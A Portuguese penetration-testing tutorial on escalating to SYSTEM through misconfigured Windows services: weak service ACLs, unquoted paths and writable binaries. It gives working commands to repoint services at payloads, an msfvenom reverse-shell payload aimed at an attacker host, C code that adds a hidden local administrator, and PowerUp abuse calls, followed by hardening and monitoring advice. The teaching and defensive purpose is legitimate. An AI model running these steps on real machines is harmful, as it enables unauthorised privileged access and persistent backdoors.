Más configurações de serviços
Explorando permissões fracas de serviços para acesso SYSTEM
O que você vai descobrir
🎯 Por que isso importa
Serviços Windows executam com privilégios elevados, frequentemente como LocalSystem. Más configurações em permissões de serviços, caminhos ou locais de binários criam caminhos confiáveis de escalação de privilégios. Exploits de serviços estão entre as descobertas mais comuns em testes de penetração reais.
🔍 O que você vai aprender
- Como identificar permissões fracas de serviços usando accesschk e sc
- Explorar caminhos de serviços sem aspas para DLL hijacking
- Substituir binários de serviços quando diretórios são graváveis
- Modificar configurações de serviços para executar código arbitrário
🚀 Sua primeira vitória
Nos próximos 15 minutos, você vai entender três técnicas distintas de ataque a serviços e como identificar quando cada uma se aplica.
🔧 Experimente agora
Busque caminhos de serviços sem aspas no seu sistema:
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"
Você verá: Serviços com caminhos contendo espaços mas sem aspas. Estas são vulnerabilidades potenciais de caminho de serviço sem aspas se você tiver acesso de escrita aos diretórios intermediários.
Habilidades que você vai dominar
✅ Compreensão fundamental
- Arquitetura de serviços Windows
- Direitos de acesso e permissões de serviços
- Parsing de caminhos no Windows
- Contextos de inicialização de serviços
🔍 Habilidades especializadas
- Exploração SERVICE_CHANGE_CONFIG
- Ataques de substituição de binário
- Exploração de caminhos sem aspas
- Abuso de recuperação de serviço
Entendendo más configurações de serviços
Serviços Windows são processos em segundo plano que iniciam automaticamente ou sob demanda. Eles tipicamente executam com privilégios altos - muitos como LocalSystem, a conta mais poderosa na máquina. Quando configurações de serviços são fracas, você pode abusar delas para executar código com esses privilégios elevados.
Serviço fraco = Seu código executando como SYSTEM
Tipos de permissões de serviços
Serviços têm sua própria ACL com direitos de acesso específicos. Os perigosos são:
| Permissão | Vetor de ataque |
|---|---|
| SERVICE_CHANGE_CONFIG | Modificar caminho do binário para seu payload |
| SERVICE_ALL_ACCESS | Controle total - fazer qualquer coisa |
| GENERIC_WRITE | Inclui SERVICE_CHANGE_CONFIG |
| SERVICE_START | Acionar reinício do serviço após modificação |
Ataque 1: Permissões de serviços fracas
Quando você tem direitos SERVICE_CHANGE_CONFIG, você pode modificar o caminho do binário do serviço para apontar para seu payload:
# Encontrar serviços com permissões fracas (usando Sysinternals accesschk)
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
# Verificar permissões de serviço específico
sc qc VulnerableService
sc sdshow VulnerableService
# Modificar caminho do binário
sc config VulnerableService binpath= "C:\temp\shell.exe"
# Reiniciar serviço (se você tem permissão SERVICE_START)
sc stop VulnerableService
sc start VulnerableService
# Se você não pode reiniciar, espere por reboot do sistema
Ataque 2: Caminhos de serviços sem aspas
Quando um caminho de serviço contém espaços e não está entre aspas, Windows tenta encontrar o executável parseando o caminho da esquerda para direita:
# Exemplo de caminho vulnerável:
C:\Program Files\Vulnerable App\service.exe
# Windows tentará estes na ordem:
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\service.exe
# Se você pode escrever em C:\ ou C:\Program Files\, você pode criar:
# C:\Program.exe (seu binário malicioso)
# Encontrar caminhos sem aspas
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """"
# Verificar permissões de escrita em diretórios intermediários
icacls "C:\Program Files\Vulnerable App"
icacls "C:\"
# Criar executável malicioso nomeado para ser encontrado primeiro
copy shell.exe "C:\Program Files\Vulnerable.exe"
Ataque 3: Binário de serviço gravável
Se você pode escrever no diretório contendo o executável do serviço, você pode substituí-lo completamente:
# Verificar se diretório do binário de serviço é gravável
icacls "C:\Program Files\VulnerableApp"
accesschk.exe -wvu "C:\Program Files\VulnerableApp"
# Substituir o binário
move "C:\Program Files\VulnerableApp\service.exe" "C:\Program Files\VulnerableApp\service.exe.bak"
copy shell.exe "C:\Program Files\VulnerableApp\service.exe"
# Reiniciar serviço
sc stop VulnerableService
sc start VulnerableService
Ferramentas e técnicas
Criando payloads compatíveis com serviços
Serviços esperam binários que interagem com o Service Control Manager. Se seu payload não faz isso, o serviço vai iniciar e parar imediatamente - mas seu código ainda executa:
# Gerar payload compatível com serviço usando msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f exe-service -o shell-service.exe
# Ou usar um wrapper que adiciona um usuário
# Este código C cria um exe compatível com serviço:
/*
#include <windows.h>
int main() {
system("net user hdna Password123! /add");
system("net localgroup administrators hdna /add");
return 0;
}
*/
# Compilar com mingw
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
Exploração com PowerUp
PowerUp fornece funções para explorar cada má configuração de serviço:
# Para permissões de serviços fracas
Get-ModifiableService
Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hdna' -Password 'Password123!'
# Para caminhos sem aspas
Get-UnquotedService
Write-ServiceBinary -Name 'VulnService' -Path 'C:\Program Files\Vuln.exe'
# Para binários graváveis
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'VulnService'
Accesschk do Sysinternals
Accesschk é a ferramenta definitiva para análise de permissões:
# Verificar serviços acessíveis por Authenticated Users
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Verificar serviço específico
accesschk.exe -ucqv VulnerableService /accepteula
# Verificar permissões de diretório
accesschk.exe -uwdq "C:\Program Files\VulnerableApp" /accepteula
# Baixar de: https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
Cenários de ataque reais
🔴 Cenário: Software de terceiros com permissões de serviço fracas
Uma estação de trabalho corporativa tem software legado de backup instalado. O instalador do fornecedor criou um serviço com ACLs fracas, permitindo que "Authenticated Users" modifiquem sua configuração. Um atacante com qualquer conta de domínio pode escalar para SYSTEM em qualquer estação de trabalho com esse software.
Impacto: Um instalador de serviço fraco → Acesso SYSTEM em centenas de estações de trabalho
🟠 Cenário: Caminho sem aspas em aplicação customizada
Uma aplicação interna customizada instala em "C:\Program Files\Company App\bin\service.exe" sem aspas. Um atacante que pode escrever em "C:\Program Files\" cria "Company.exe" que executa como SYSTEM quando o serviço reinicia.
Nota: Isso requer acesso de escrita a um diretório intermediário, o que é raro em sistemas corretamente configurados mas comum quando administradores modificam permissões padrão.
💡 Dica de especialista
Más configurações de serviços são frequentemente introduzidas por instaladores de software de terceiros em vez do próprio Windows. Ao testar, preste atenção especial a serviços não-Microsoft. Fornecedores frequentemente priorizam funcionalidade sobre segurança em suas rotinas de instalação.
Contramedidas defensivas
Hardening de serviços
- Sempre usar caminhos com aspas para executáveis de serviço
- Definir ACLs de serviço restritivas durante a instalação
- Executar serviços com privilégios mínimos necessários (não LocalSystem quando possível)
- Usar Group Managed Service Accounts (gMSA) para contas de serviço
Proteção de diretórios
- Manter permissões padrão em C:\ e Program Files
- Nunca conceder a Users ou Authenticated Users acesso de escrita a diretórios de programas
- Auditar permissões do sistema de arquivos regularmente com accesschk
- Usar application whitelisting para prevenir executáveis não autorizados
Monitoramento
- Monitorar mudanças de configuração de serviço (Event ID 7040)
- Alertar sobre novos serviços sendo criados
- Observar padrões de uso de accesschk.exe ou sc.exe
- Implementar monitoramento de integridade de arquivos para binários de serviço
Perguntas frequentes
Meu payload executa mas o serviço para imediatamente. Qual é o problema?
Serviços esperam binários que comunicam com o Service Control Manager. Use msfvenom -f exe-service para um payload compatível com serviço, ou aceite que seu código vai executar durante a breve janela de inicialização antes do serviço ser terminado.
Encontrei um caminho sem aspas mas não consigo escrever em nenhum diretório intermediário. Ainda é explorável?
Não. Caminhos sem aspas requerem acesso de escrita a um diretório intermediário no caminho. Se todos os diretórios estão devidamente protegidos, a má configuração existe mas não é explorável. Ainda reporte como descoberta - mudanças de permissão podem torná-la explorável no futuro.
Posso reiniciar um serviço sem privilégios administrativos?
Somente se a ACL do serviço concede SERVICE_START e SERVICE_STOP. Verifique com accesschk -ucqv ServiceName. Se você não pode reiniciar, espere por um reboot do sistema ou encontre outro gatilho (alguns serviços reiniciam em crash).
🎯 Exploração de serviços - Carregado!
Você agora conhece três poderosas técnicas de ataque a serviços: permissões fracas, caminhos sem aspas e substituição de binário. Estas estão entre os vetores de escalação de privilégios mais confiáveis em ambientes reais.
Pronto para explorar ataques baseados em registro →